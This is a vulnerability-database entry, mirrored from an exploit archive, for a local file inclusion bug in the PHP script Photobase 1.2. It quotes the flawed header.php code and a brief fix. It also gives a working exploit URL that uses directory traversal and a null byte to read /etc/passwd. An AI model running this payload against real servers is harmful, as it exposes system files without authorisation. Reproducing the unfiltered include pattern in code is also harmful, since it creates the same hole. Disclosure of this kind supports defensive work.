Photobase 1.2 - 'Language' Local File Inclusion

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057252 漏洞类型
发布时间 2009-01-11 更新时间 2009-01-11
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/7733
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
[START]

####################################################################################################################
[0x01] Informations:

Script         : Photobase 1.2
Download       : http://www.monstar.nl/php-bin/count.php3?what=photobase.zip&id=0
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Local File Inclusion]
######

Bugged file is: /[path]/include/header.php

[CODE]

<?php
include('include/conf.php');
include('include/functions.php');

if(isset($_GET['language']))
	$language = $_GET['language'];

include('language/'.$language.'.php');

[/CODE]

There is an include of a variable coming from GET --> $language

[!FIX] Filter $language before the include or just set its value with a local file.


[!] EXPLOIT: /[path]/include/header.php?language=[local_file]
                                                 ../../../../../../../../../../etc/passwd%00

####################################################################################################################

[/END]

# milw0rm.com [2009-01-11]